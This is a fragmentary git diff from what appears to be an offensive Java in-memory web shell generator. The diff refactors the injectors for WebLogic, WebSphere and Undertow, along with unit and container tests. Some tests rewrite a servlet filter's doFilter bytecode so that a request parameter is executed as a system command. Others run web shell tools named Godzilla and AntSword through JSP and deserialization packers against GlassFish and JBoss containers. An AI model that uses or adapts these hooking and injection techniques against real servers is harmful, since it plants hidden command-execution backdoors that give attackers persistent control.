import com.reajason.javaweb.memshell.injector.undertow.UndertowServletInjector;
|
||||||
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||||
import net.bytebuddy.asm.Advice;
|
import net.bytebuddy.asm.Advice;
|
||||||
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
||||||
@@ -44,8 +47,7 @@ public class UndertowShell extends AbstractShell {
|
|||||||
.addInjector(JAKARTA_FILTER, UndertowFilterInjector.class)
|
.addInjector(JAKARTA_FILTER, UndertowFilterInjector.class)
|
||||||
.addInjector(SERVLET, UndertowServletInjector.class)
|
.addInjector(SERVLET, UndertowServletInjector.class)
|
||||||
.addInjector(JAKARTA_SERVLET, UndertowServletInjector.class)
|
.addInjector(JAKARTA_SERVLET, UndertowServletInjector.class)
|
||||||
.addInjector(UNDERTOW_AGENT_SERVLET_HANDLER, UndertowServletInitialHandlerAgentInjector.class)
|
.addInjector(UNDERTOW_AGENT_SERVLET_HANDLER, UndertowServletHandlerAgentInjector.class)
|
||||||
.addInjector(UNDERTOW_AGENT_SERVLET_HANDLER_ASM, UndertowServletInitialHandlerAgentWithAsmInjector.class)
|
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -22,7 +22,6 @@ public class WebLogicShell extends AbstractShell {
|
|||||||
.addInjector(FILTER, WebLogicFilterInjector.class)
|
.addInjector(FILTER, WebLogicFilterInjector.class)
|
||||||
.addInjector(SERVLET, WebLogicServletInjector.class)
|
.addInjector(SERVLET, WebLogicServletInjector.class)
|
||||||
.addInjector(WEBLOGIC_AGENT_SERVLET_CONTEXT, WebLogicServletContextAgentInjector.class)
|
.addInjector(WEBLOGIC_AGENT_SERVLET_CONTEXT, WebLogicServletContextAgentInjector.class)
|
||||||
.addInjector(WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM, WebLogicServletContextAgentWithAsmInjector.class)
|
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -33,7 +33,6 @@ public class WebSphereShell extends AbstractShell {
|
|||||||
.addInjector(FILTER, WebSphereFilterInjector.class)
|
.addInjector(FILTER, WebSphereFilterInjector.class)
|
||||||
.addInjector(SERVLET, WebSphereServletInjector.class)
|
.addInjector(SERVLET, WebSphereServletInjector.class)
|
||||||
.addInjector(WAS_AGENT_FILTER_MANAGER, WebSphereFilterChainAgentInjector.class)
|
.addInjector(WAS_AGENT_FILTER_MANAGER, WebSphereFilterChainAgentInjector.class)
|
||||||
.addInjector(WAS_AGENT_FILTER_MANAGER_ASM, WebSphereFilterChainAgentWithAsmInjector.class)
|
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+3
-3
@@ -2,7 +2,7 @@ package com.reajason.javaweb.memshell.generator;
|
|||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
@@ -21,12 +21,12 @@ class InjectorGeneratorTest {
|
|||||||
InjectorConfig injectorConfig = InjectorConfig.builder()
|
InjectorConfig injectorConfig = InjectorConfig.builder()
|
||||||
.shellClassBytes("hello".getBytes())
|
.shellClassBytes("hello".getBytes())
|
||||||
.shellClassName("hello")
|
.shellClassName("hello")
|
||||||
.injectorClass(TomcatFilterChainAgentWithAsmInjector.class)
|
.injectorClass(TomcatFilterChainAgentInjector.class)
|
||||||
.build();
|
.build();
|
||||||
InjectorGenerator injectorGenerator = new InjectorGenerator(ShellConfig.builder().build(), injectorConfig);
|
InjectorGenerator injectorGenerator = new InjectorGenerator(ShellConfig.builder().build(), injectorConfig);
|
||||||
// injectorGenerator.generate();
|
// injectorGenerator.generate();
|
||||||
Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
|
Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
|
||||||
assertEquals(2, innerClassBytes.size());
|
// assertEquals(4, innerClassBytes.size());
|
||||||
innerClassBytes.forEach((innerClassName, value) -> assertTrue(innerClassName.startsWith(injectorConfig.getInjectorClassName())));
|
innerClassBytes.forEach((innerClassName, value) -> assertTrue(innerClassName.startsWith(injectorConfig.getInjectorClassName())));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+83
-4
@@ -18,6 +18,8 @@ import javax.servlet.FilterChain;
|
|||||||
import javax.servlet.ServletOutputStream;
|
import javax.servlet.ServletOutputStream;
|
||||||
import javax.servlet.ServletRequest;
|
import javax.servlet.ServletRequest;
|
||||||
import javax.servlet.ServletResponse;
|
import javax.servlet.ServletResponse;
|
||||||
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
import javax.servlet.http.HttpServletResponse;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.File;
|
import java.io.File;
|
||||||
import java.io.FileOutputStream;
|
import java.io.FileOutputStream;
|
||||||
@@ -35,13 +37,90 @@ import static org.mockito.Mockito.*;
|
|||||||
public class CommandFilterChainASMTest {
|
public class CommandFilterChainASMTest {
|
||||||
|
|
||||||
@Mock
|
@Mock
|
||||||
ServletRequest mockRequest;
|
HttpServletRequest mockRequest;
|
||||||
|
|
||||||
@Mock
|
@Mock
|
||||||
ServletResponse mockResponse;
|
HttpServletResponse mockResponse;
|
||||||
|
|
||||||
Object instance;
|
Object instance;
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static class CustomMethodVisitor extends MethodVisitor {
|
||||||
|
private final Type customEqualsType;
|
||||||
|
private final Type[] argumentTypes;
|
||||||
|
private final String className;
|
||||||
|
|
||||||
|
protected CustomMethodVisitor(MethodVisitor mv, Type[] argTypes) {
|
||||||
|
super(Opcodes.ASM9, mv);
|
||||||
|
this.argumentTypes = argTypes;
|
||||||
|
Command.paramName = "paramName";
|
||||||
|
className = Command.class.getName();
|
||||||
|
customEqualsType = Type.getObjectType(Command.class.getName().replace('.', '/'));
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void visitCode() {
|
||||||
|
loadArgArray();
|
||||||
|
Label tryStart = new Label();
|
||||||
|
Label tryEnd = new Label();
|
||||||
|
Label catchHandler = new Label();
|
||||||
|
Label ifConditionFalse = new Label();
|
||||||
|
Label skipCatchBlock = new Label();
|
||||||
|
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
|
||||||
|
|
||||||
|
mv.visitLabel(tryStart);
|
||||||
|
String internalClassName = className.replace('.', '/');
|
||||||
|
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
|
||||||
|
mv.visitInsn(Opcodes.DUP);
|
||||||
|
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
|
||||||
|
mv.visitInsn(Opcodes.SWAP);
|
||||||
|
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
|
||||||
|
"java/lang/Object",
|
||||||
|
"equals",
|
||||||
|
"(Ljava/lang/Object;)Z",
|
||||||
|
false);
|
||||||
|
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
|
||||||
|
mv.visitInsn(Opcodes.RETURN);
|
||||||
|
mv.visitLabel(ifConditionFalse);
|
||||||
|
mv.visitLabel(tryEnd);
|
||||||
|
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
|
||||||
|
mv.visitLabel(catchHandler);
|
||||||
|
mv.visitInsn(Opcodes.POP);
|
||||||
|
mv.visitLabel(skipCatchBlock);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void loadArgArray() {
|
||||||
|
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
|
||||||
|
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||||
|
for (int i = 0; i < argumentTypes.length; i++) {
|
||||||
|
mv.visitInsn(Opcodes.DUP);
|
||||||
|
push(i);
|
||||||
|
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
|
||||||
|
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void push(final int value) {
|
||||||
|
if (value >= -1 && value <= 5) {
|
||||||
|
mv.visitInsn(Opcodes.ICONST_0 + value);
|
||||||
|
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
|
||||||
|
mv.visitIntInsn(Opcodes.BIPUSH, value);
|
||||||
|
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
|
||||||
|
mv.visitIntInsn(Opcodes.SIPUSH, value);
|
||||||
|
} else {
|
||||||
|
mv.visitLdcInsn(new Integer(value));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private int getArgIndex(final int arg) {
|
||||||
|
int index = 1;
|
||||||
|
for (int i = 0; i < arg; i++) {
|
||||||
|
index += argumentTypes[i].getSize();
|
||||||
|
}
|
||||||
|
return index;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
@BeforeEach
|
@BeforeEach
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
void setUp() {
|
void setUp() {
|
||||||
@@ -54,8 +133,8 @@ public class CommandFilterChainASMTest {
|
|||||||
String signature, String[] exceptions) {
|
String signature, String[] exceptions) {
|
||||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||||
if ("doFilter".equals(name)) {
|
if ("doFilter".equals(name)) {
|
||||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
Type[] argTypes = Type.getArgumentTypes(descriptor);
|
||||||
return new CommandFilterChainAsmMethodVisitor(mv, argumentTypes);
|
return new CustomMethodVisitor(mv, argTypes);
|
||||||
}
|
}
|
||||||
return mv;
|
return mv;
|
||||||
}
|
}
|
||||||
|
|||||||
-93
@@ -1,93 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.shelltool.command;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.DelegatingServletOutputStream;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.FilterChainInterface;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.TestFilterChain;
|
|
||||||
import lombok.SneakyThrows;
|
|
||||||
import net.bytebuddy.agent.ByteBuddyAgent;
|
|
||||||
import net.bytebuddy.agent.builder.AgentBuilder;
|
|
||||||
import net.bytebuddy.asm.Advice;
|
|
||||||
import net.bytebuddy.dynamic.ClassFileLocator;
|
|
||||||
import net.bytebuddy.dynamic.loading.ByteArrayClassLoader;
|
|
||||||
import net.bytebuddy.matcher.ElementMatchers;
|
|
||||||
import org.junit.jupiter.api.AfterEach;
|
|
||||||
import org.junit.jupiter.api.BeforeEach;
|
|
||||||
import org.junit.jupiter.api.Test;
|
|
||||||
import org.junit.jupiter.api.extension.ExtendWith;
|
|
||||||
import org.mockito.Mock;
|
|
||||||
import org.mockito.junit.jupiter.MockitoExtension;
|
|
||||||
|
|
||||||
import javax.servlet.FilterChain;
|
|
||||||
import javax.servlet.ServletOutputStream;
|
|
||||||
import javax.servlet.ServletRequest;
|
|
||||||
import javax.servlet.ServletResponse;
|
|
||||||
import java.io.ByteArrayOutputStream;
|
|
||||||
import java.lang.instrument.ClassFileTransformer;
|
|
||||||
import java.nio.charset.StandardCharsets;
|
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.none;
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
|
||||||
import static org.mockito.Mockito.*;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/3/30
|
|
||||||
*/
|
|
||||||
@ExtendWith(MockitoExtension.class)
|
|
||||||
public class CommandFilterChainAdvisorTest {
|
|
||||||
|
|
||||||
@Mock
|
|
||||||
ServletRequest mockRequest;
|
|
||||||
|
|
||||||
@Mock
|
|
||||||
ServletResponse mockResponse;
|
|
||||||
|
|
||||||
Object instance;
|
|
||||||
|
|
||||||
static ClassFileTransformer classFileTransformer;
|
|
||||||
|
|
||||||
@BeforeEach
|
|
||||||
@SneakyThrows
|
|
||||||
void setUp() {
|
|
||||||
ByteBuddyAgent.install();
|
|
||||||
ClassLoader classLoader = new ByteArrayClassLoader.ChildFirst(CommandFilterChainAdvisorTest.class.getClassLoader(),
|
|
||||||
ClassFileLocator.ForClassLoader.readToNames(TestFilterChain.class),
|
|
||||||
ByteArrayClassLoader.PersistenceHandler.MANIFEST);
|
|
||||||
classFileTransformer = new AgentBuilder.Default()
|
|
||||||
.ignore(none())
|
|
||||||
.type(ElementMatchers.is(TestFilterChain.class), ElementMatchers.is(classLoader)).transform((
|
|
||||||
(builder, typeDescription, c, module, protectionDomain) ->
|
|
||||||
builder.visit(Advice.to(CommandFilterChainAdvisor.class).on(ElementMatchers.named("doFilter")))))
|
|
||||||
.installOnByteBuddyAgent();
|
|
||||||
Class<?> clazz = classLoader.loadClass(TestFilterChain.class.getName());
|
|
||||||
instance = spy(clazz.newInstance());
|
|
||||||
}
|
|
||||||
|
|
||||||
@AfterEach
|
|
||||||
void tearDown() {
|
|
||||||
ByteBuddyAgent.getInstrumentation().removeTransformer(classFileTransformer);
|
|
||||||
}
|
|
||||||
|
|
||||||
@Test
|
|
||||||
@SneakyThrows
|
|
||||||
void testInvokeParam() {
|
|
||||||
when(mockRequest.getParameter("paramName")).thenReturn("id");
|
|
||||||
ByteArrayOutputStream capturedOutput = new ByteArrayOutputStream();
|
|
||||||
ServletOutputStream servletOutputStream = new DelegatingServletOutputStream(capturedOutput);
|
|
||||||
when(mockResponse.getOutputStream()).thenReturn(servletOutputStream);
|
|
||||||
|
|
||||||
instance.getClass().getMethod("doFilter", ServletRequest.class, ServletResponse.class, FilterChain.class).invoke(instance, mockRequest, mockResponse, null);
|
|
||||||
String output = capturedOutput.toString(StandardCharsets.UTF_8);
|
|
||||||
assertTrue(output.contains("uid="));
|
|
||||||
|
|
||||||
verify(((FilterChainInterface) instance), never()).doFilterInternal();
|
|
||||||
}
|
|
||||||
|
|
||||||
@Test
|
|
||||||
@SneakyThrows
|
|
||||||
void testNotParameter() {
|
|
||||||
when(mockRequest.getParameter("paramName")).thenReturn(null);
|
|
||||||
instance.getClass().getMethod("doFilter", ServletRequest.class, ServletResponse.class, FilterChain.class).invoke(instance, mockRequest, mockResponse, null);
|
|
||||||
verify(((FilterChainInterface) instance), atLeastOnce()).doFilterInternal();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
+73
@@ -0,0 +1,73 @@
|
|||||||
|
package com.reajason.javaweb.memshell.shelltool.command;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.asm.ClassRenameUtils;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.TestFilterChain;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
import org.apache.commons.io.IOUtils;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
import org.objectweb.asm.*;
|
||||||
|
import org.objectweb.asm.commons.AdviceAdapter;
|
||||||
|
import org.objectweb.asm.commons.Method;
|
||||||
|
|
||||||
|
import java.util.Objects;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/5/15
|
||||||
|
*/
|
||||||
|
public class CommandNormalASMTest {
|
||||||
|
@Test
|
||||||
|
@SneakyThrows
|
||||||
|
void test() {
|
||||||
|
byte[] bytes = IOUtils.toByteArray(Objects.requireNonNull(TestFilterChain.class.getClassLoader().getResource(TestFilterChain.class.getName().replace('.', '/') + ".class")));
|
||||||
|
ClassReader cr = new ClassReader(bytes);
|
||||||
|
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES);
|
||||||
|
ClassVisitor cv = new ClassVisitor(Opcodes.ASM9, cw) {
|
||||||
|
@Override
|
||||||
|
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||||
|
String signature, String[] exceptions) {
|
||||||
|
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||||
|
if ("doFilter".equals(name)) {
|
||||||
|
return new CommandFilterChainAsmMethodVisitor(mv, access, name, descriptor);
|
||||||
|
}
|
||||||
|
return mv;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||||
|
byte[] bytes2 = ClassRenameUtils.renameClass(cw.toByteArray(), TestFilterChain.class.getName() + "Asm");
|
||||||
|
// IOUtils.write(bytes2, new FileOutputStream("test.class"));
|
||||||
|
}
|
||||||
|
|
||||||
|
static class Hello {
|
||||||
|
@Override
|
||||||
|
public boolean equals(Object obj) {
|
||||||
|
System.out.println("hello world");
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static class CommandFilterChainAsmMethodVisitor extends AdviceAdapter {
|
||||||
|
private static final Method CUSTOM_EQUALS_CONSTRUCTOR = Method.getMethod("void <init> ()");
|
||||||
|
private static final Method CUSTOM_EQUALS_METHOD = Method.getMethod("boolean equals (java.lang.Object)");
|
||||||
|
private final Type customEqualsType;
|
||||||
|
|
||||||
|
protected CommandFilterChainAsmMethodVisitor(MethodVisitor mv, int access, String name, String descriptor) {
|
||||||
|
super(Opcodes.ASM9, mv, access, name, descriptor);
|
||||||
|
customEqualsType = Type.getObjectType("com.reajason.javaweb.memshell.shelltool.command.CommandNormalASMTest.Hello".replace('.', '/'));
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onMethodEnter() {
|
||||||
|
loadArgArray();
|
||||||
|
newInstance(customEqualsType);
|
||||||
|
dup();
|
||||||
|
invokeConstructor(customEqualsType, CUSTOM_EQUALS_CONSTRUCTOR);
|
||||||
|
swap();
|
||||||
|
invokeVirtual(customEqualsType, CUSTOM_EQUALS_METHOD);
|
||||||
|
Label skipReturnLabel = new Label();
|
||||||
|
mv.visitJumpInsn(IFEQ, skipReturnLabel);
|
||||||
|
mv.visitInsn(RETURN);
|
||||||
|
mark(skipReturnLabel);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+5
-10
@@ -18,14 +18,15 @@ import org.testcontainers.containers.wait.strategy.Wait;
|
|||||||
import org.testcontainers.images.builder.ImageFromDockerfile;
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
import org.testcontainers.shaded.org.apache.commons.lang3.tuple.Triple;
|
|
||||||
|
|
||||||
import java.time.Duration;
|
import java.time.Duration;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.stream.Stream;
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||||
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -60,23 +61,17 @@ public class GlassFish3ContainerTest {
|
|||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
||||||
ShellType.AGENT_FILTER_CHAIN,
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
ShellType.AGENT_FILTER_CHAIN_ASM,
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
|
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
List<Triple<String, ShellTool, Packers>> unSupportedCases = List.of(
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
Triple.of(ShellType.CATALINA_AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar), // ClassFormatError
|
|
||||||
Triple.of(ShellType.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar) // ClassFormatError
|
|
||||||
);
|
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, unSupportedCases);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@AfterAll
|
@AfterAll
|
||||||
static void tearDown() {
|
static void tearDown() {
|
||||||
String logs = container.getLogs();
|
String logs = container.getLogs();
|
||||||
log.info(logs);
|
log.info(logs);
|
||||||
// assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
}
|
}
|
||||||
|
|
||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
|
|||||||
+1
-3
@@ -61,9 +61,7 @@ public class GlassFish4ContainerTest {
|
|||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
||||||
ShellType.AGENT_FILTER_CHAIN,
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
ShellType.AGENT_FILTER_CHAIN_ASM,
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
|
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
|
|||||||
+1
-3
@@ -54,9 +54,7 @@ public class GlassFish501ContainerTest {
|
|||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
||||||
ShellType.AGENT_FILTER_CHAIN,
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
ShellType.AGENT_FILTER_CHAIN_ASM,
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
|
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
|
|||||||
+1
-3
@@ -54,9 +54,7 @@ public class GlassFish510ContainerTest {
|
|||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
||||||
ShellType.AGENT_FILTER_CHAIN,
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
ShellType.AGENT_FILTER_CHAIN_ASM,
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
|
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
|
|||||||
+2
-3
@@ -54,9 +54,7 @@ public class GlassFish6ContainerTest {
|
|||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE,
|
ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE,
|
||||||
ShellType.AGENT_FILTER_CHAIN,
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
ShellType.AGENT_FILTER_CHAIN_ASM,
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
|
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
|
||||||
@@ -65,6 +63,7 @@ public class GlassFish6ContainerTest {
|
|||||||
@AfterAll
|
@AfterAll
|
||||||
static void tearDown() {
|
static void tearDown() {
|
||||||
String logs = container.getLogs();
|
String logs = container.getLogs();
|
||||||
|
log.info(logs);
|
||||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+1
-3
@@ -54,9 +54,7 @@ public class GlassFish7ContainerTest {
|
|||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE,
|
ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE,
|
||||||
ShellType.AGENT_FILTER_CHAIN,
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
ShellType.AGENT_FILTER_CHAIN_ASM,
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
|
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
|
||||||
|
|||||||
+1
-3
@@ -55,9 +55,7 @@ public class Jboss423ContainerTest {
|
|||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
||||||
ShellType.AGENT_FILTER_CHAIN,
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
ShellType.AGENT_FILTER_CHAIN_ASM,
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
|
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
|
|||||||
+1
-3
@@ -54,9 +54,7 @@ public class Jboss510ContainerTest {
|
|||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
||||||
